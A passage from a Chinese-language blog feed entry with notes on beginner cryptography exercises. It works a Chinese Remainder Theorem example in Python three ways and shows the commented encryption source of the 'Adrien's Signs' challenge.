  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<h3 id="chinese-remainder-theorem">Chinese Remainder Theorem<a class="anchor" href="#chinese-remainder-theorem">#</a></h3>
<p>我是手算的</p>
<p>算出了6482，但解是
</p>
<span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mrow><mi>k</mi><mi>M</mi><mo>+</mo><munderover><mo>∑</mo><mrow><mi>i</mi><mo>=</mo><mn>1</mn></mrow><mi>n</mi></munderover><msub><mi>a</mi><mi>i</mi></msub><msub><mi>t</mi><mi>i</mi></msub><msub><mi>M</mi><mi>i</mi></msub><mtext> </mtext><mo separator="true">;</mo><mtext> </mtext><mi>k</mi><mo>∈</mo><mi mathvariant="double-struck">Z</mi></mrow><annotation encoding="application/x-tex">
kM + \sum_{i=1}^{n}a_{i}t_{i}M_{i}\ ;\ k\in \mathbb{Z}
</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="katex-base"><span class="katex-strut" style="height:0.7778em;vertical-align:-0.0833em;"></span><span class="mord mathnormal" style="margin-right:0.0315em;">k</span><span class="mord mathnormal" style="margin-right:0.109em;">M</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="katex-base"><span class="katex-strut" style="height:2.9291em;vertical-align:-1.2777em;"></span><span class="mop op-limits"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.6514em;"><span style="top:-1.8723em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="katex-sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">i</span><span class="mrel mtight">=</span><span class="mord mtight">1</span></span></span></span><span style="top:-3.05em;"><span class="pstrut" style="height:3.05em;"></span><span><span class="mop op-symbol large-op">∑</span></span></span><span style="top:-4.3em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="katex-sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">n</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.2777em;"><span></span></span></span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="katex-sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">i</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mord"><span class="mord mathnormal">t</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="katex-sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">i</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.109em;">M</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:-0.109em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="katex-sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">i</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace"> </span><span class="mpunct">;</span><span class="mspace"> </span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.0315em;">k</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">∈</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="katex-base"><span class="katex-strut" style="height:0.6889em;"></span><span class="mord mathbb">Z</span></span></span></span></span><p>
一般都是要求最小的解，所以我这边模M即可，得到872</p>
<p>wp有代码版本，推荐几个：</p>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="ln">1</span><span class="cl"><span class="kn">from</span> <span class="nn">Crypto.Util.number</span> <span class="kn">import</span> <span class="o">*</span>
</span></span><span class="line"><span class="ln">2</span><span class="cl"><span class="s2">&#34;&#34;&#34;
</span></span></span><span class="line"><span class="ln">3</span><span class="cl"><span class="s2">x ≡ 2 mod 5
</span></span></span><span class="line"><span class="ln">4</span><span class="cl"><span class="s2">x ≡ 3 mod 11
</span></span></span><span class="line"><span class="ln">5</span><span class="cl"><span class="s2">x ≡ 5 mod 17
</span></span></span><span class="line"><span class="ln">6</span><span class="cl"><span class="s2">&#34;&#34;&#34;</span>
</span></span><span class="line"><span class="ln">7</span><span class="cl"><span class="nb">print</span><span class="p">((</span><span class="mi">2</span><span class="o">*</span><span class="mi">11</span><span class="o">*</span><span class="mi">17</span><span class="o">*</span><span class="n">inverse</span><span class="p">(</span><span class="mi">11</span><span class="o">*</span><span class="mi">17</span><span class="p">,</span><span class="mi">5</span><span class="p">)</span> <span class="o">+</span> <span class="mi">3</span><span class="o">*</span><span class="mi">5</span><span class="o">*</span><span class="mi">17</span><span class="o">*</span><span class="n">inverse</span><span class="p">(</span><span class="mi">5</span><span class="o">*</span><span class="mi">17</span><span class="p">,</span><span class="mi">11</span><span class="p">)</span> <span class="o">+</span> <span class="mi">5</span><span class="o">*</span><span class="mi">5</span><span class="o">*</span><span class="mi">11</span><span class="o">*</span><span class="n">inverse</span><span class="p">(</span><span class="mi">5</span><span class="o">*</span><span class="mi">11</span><span class="p">,</span><span class="mi">17</span><span class="p">))</span> <span class="o">%</span> <span class="mi">935</span><span class="p">)</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">python</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<p>这个不好理解的话，看下面这个</p>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="ln"> 1</span><span class="cl"><span class="kn">from</span> <span class="nn">Crypto.Util.number</span> <span class="kn">import</span> <span class="n">inverse</span>
</span></span><span class="line"><span class="ln"> 2</span><span class="cl">
</span></span><span class="line"><span class="ln"> 3</span><span class="cl"><span class="n">M</span> <span class="o">=</span> <span class="mi">5</span> <span class="o">*</span> <span class="mi">11</span> <span class="o">*</span> <span class="mi">17</span>
</span></span><span class="line"><span class="ln"> 4</span><span class="cl"><span class="n">M1</span> <span class="o">=</span> <span class="n">M</span> <span class="o">//</span> <span class="mi">5</span>
</span></span><span class="line"><span class="ln"> 5</span><span class="cl"><span class="n">M2</span> <span class="o">=</span> <span class="n">M</span> <span class="o">//</span> <span class="mi">11</span>
</span></span><span class="line"><span class="ln"> 6</span><span class="cl"><span class="n">M3</span> <span class="o">=</span> <span class="n">M</span> <span class="o">//</span> <span class="mi">17</span>
</span></span><span class="line"><span class="ln"> 7</span><span class="cl">
</span></span><span class="line"><span class="ln"> 8</span><span class="cl"><span class="n">N1</span> <span class="o">=</span> <span class="n">inverse</span><span class="p">(</span><span class="n">M1</span><span class="p">,</span> <span class="mi">5</span><span class="p">)</span>
</span></span><span class="line"><span class="ln"> 9</span><span class="cl"><span class="n">N2</span> <span class="o">=</span> <span class="n">inverse</span><span class="p">(</span><span class="n">M2</span><span class="p">,</span> <span class="mi">11</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">10</span><span class="cl"><span class="n">N3</span> <span class="o">=</span> <span class="n">inverse</span><span class="p">(</span><span class="n">M3</span><span class="p">,</span> <span class="mi">17</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">11</span><span class="cl">
</span></span><span class="line"><span class="ln">12</span><span class="cl"><span class="n">ans</span> <span class="o">=</span> <span class="nb">pow</span><span class="p">(</span><span class="mi">2</span> <span class="o">*</span> <span class="n">M1</span> <span class="o">*</span> <span class="n">N1</span> <span class="o">+</span> <span class="mi">3</span> <span class="o">*</span> <span class="n">M2</span> <span class="o">*</span> <span class="n">N2</span> <span class="o">+</span> <span class="mi">5</span> <span class="o">*</span> <span class="n">M3</span> <span class="o">*</span> <span class="n">N3</span><span class="p">,</span> <span class="mi">1</span><span class="p">,</span> <span class="n">M</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">13</span><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">ans</span><span class="p">)</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">python</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="ln">1</span><span class="cl"><span class="kn">from</span> <span class="nn">sympy.ntheory.modular</span> <span class="kn">import</span> <span class="n">crt</span>
</span></span><span class="line"><span class="ln">2</span><span class="cl"> 
</span></span><span class="line"><span class="ln">3</span><span class="cl"><span class="n">r</span> <span class="o">=</span> <span class="p">[</span><span class="mi">2</span><span class="p">,</span> <span class="mi">3</span><span class="p">,</span> <span class="mi">5</span><span class="p">]</span>
</span></span><span class="line"><span class="ln">4</span><span class="cl"><span class="n">m</span> <span class="o">=</span> <span class="p">[</span><span class="mi">5</span><span class="p">,</span> <span class="mi">11</span><span class="p">,</span> <span class="mi">17</span><span class="p">]</span>
</span></span><span class="line"><span class="ln">5</span><span class="cl"> 
</span></span><span class="line"><span class="ln">6</span><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">crt</span><span class="p">(</span><span class="n">m</span><span class="p">,</span> <span class="n">r</span><span class="p">)[</span><span class="mi">0</span><span class="p">])</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">python</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<h3 id="adriens-signs">Adrien&rsquo;s Signs<a class="anchor" href="#adriens-signs">#</a></h3>
<p>正经CTF题目了</p>
<p>代码注释如下：</p>
<div class="code-block highlight collapsed"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="ln"> 1</span><span class="cl"><span class="kn">from</span> <span class="nn">random</span> <span class="kn">import</span> <span class="n">randint</span>
</span></span><span class="line"><span class="ln"> 2</span><span class="cl">
</span></span><span class="line"><span class="ln"> 3</span><span class="cl"><span class="n">a</span> <span class="o">=</span> <span class="mi">288260533169915</span>
</span></span><span class="line"><span class="ln"> 4</span><span class="cl"><span class="n">p</span> <span class="o">=</span> <span class="mi">1007621497415251</span>
</span></span><span class="line"><span class="ln"> 5</span><span class="cl">
</span></span><span class="line"><span class="ln"> 6</span><span class="cl"><span class="n">FLAG</span> <span class="o">=</span> <span class="sa">b</span><span class="s1">&#39;crypto{????????????????????}&#39;</span>
</span></span><span class="line"><span class="ln"> 7</span><span class="cl">
</span></span><span class="line"><span class="ln"> 8</span><span class="cl">
</span></span><span class="line"><span class="ln"> 9</span><span class="cl"><span class="k">def</span> <span class="nf">encrypt_flag</span><span class="p">(</span><span class="n">flag</span><span class="p">):</span>
</span></span><span class="line"><span class="ln">10</span><span class="cl">    <span class="n">ciphertext</span> <span class="o">=</span> <span class="p">[]</span>
</span></span><span class="line"><span class="ln">11</span><span class="cl">    <span class="n">plaintext</span> <span class="o">=</span> <span class="s1">&#39;&#39;</span><span class="o">.</span><span class="n">join</span><span class="p">([</span><span class="nb">bin</span><span class="p">(</span><span class="n">i</span><span class="p">)[</span><span class="mi">2</span><span class="p">:]</span><span class="o">.</span><span class="n">zfill</span><span class="p">(</span><span class="mi">8</span><span class="p">)</span> <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="n">flag</span><span class="p">])</span> <span class="c1"># flag里面每个字节都转换成二进制字符串，去除前面的0b前缀，补齐8位，连接起来</span>
</span></span><span class="line"><span class="ln">12</span><span class="cl">    <span class="k">for</span> <span class="n">b</span> <span class="ow">in</span> <span class="n">plaintext</span><span class="p">:</span>
</span></span><span class="line"><span class="ln">13</span><span class="cl">        <span class="n">e</span> <span class="o">=</span> <span class="n">randint</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="n">p</span><span class="p">)</span> <span class="c1"># 在1和p之间生成随机数</span>
</span></span><span class="line"><span class="ln">14</span><span class="cl">        <span class="n">n</span> <span class="o">=</span> <span class="nb">pow</span><span class="p">(</span><span class="n">a</span><span class="p">,</span> <span class="n">e</span><span class="p">,</span> <span class="n">p</span><span class="p">)</span> <span class="c1"># 模幂运算，就是a^e mod p</span>
</span></span><span class="line"><span class="ln">15</span><span class="cl">        <span class="k">if</span> <span class="n">b</span> <span class="o">==</span> <span class="s1">&#39;1&#39;</span><span class="p">:</span> 
</span></span><span class="line"><span class="ln">16</span><span class="cl">            <span class="n">ciphertext</span><span class="o">.</span><span class="n">append</span><span class="p">(</span><span class="n">n</span><span class="p">)</span> <span class="c1"># 若b为字节1，则将n加入密文</span>
</span></span><span class="line"><span class="ln">17</span><span class="cl">        <span class="k">else</span><span class="p">:</span>
</span></span><span class="line"><span class="ln">18</span><span class="cl">            <span class="n">n</span> <span class="o">=</span> <span class="o">-</span><span class="n">n</span> <span class="o">%</span> <span class="n">p</span> <span class="c1"># 相当于p-n</span>
</span></span><span class="line"><span class="ln">19</span><span class="cl">            <span class="n">ciphertext</span><span class="o">.</span><span class="n">append</span><span class="p">(</span><span class="n">n</span><span class="p">)</span> <span class="c1"># 若b为字节0，则将p-n加入密文</span>
</span></span><span class="line"><span class="ln">20</span><span class="cl">    <span class="k">return</span> <span class="n">ciphertext</span> <span class="c1"># 输出的密文就是附件里的，要求求出FLAG</span>
</span></span><span class="line"><span class="ln">21</span><span class="cl">
</span></span><span class="line"><span class="ln">22</span><span class="cl">
</span></span><span class="line"><span class="ln">23</span><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">encrypt_flag</span><span class="p">(</span><span class="n">FLAG</span><span class="p">))</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">python</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button><button class="collapse-toggle bg-card text-muted-foreground rounded-lg m-2" aria-label="Toggle collapse code block"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="M24 0v24H0V0zM12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.019-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="m11 17.243l-3.95-3.95a1 1 0 1 0-1.414 1.414l5.657 5.657a1 1 0 0 0 1.414 0l5.657-5.657a1 1 0 0 0-1.414-1.414L13 17.243V4a1 1 0 1 0-2 0z"></path></g></svg>
<span class="desc"> code</span></button><div class="collapse-fade"></div></div>
]]></content:encoded><category>密码学</category><category>RSA</category></item></channel></rss>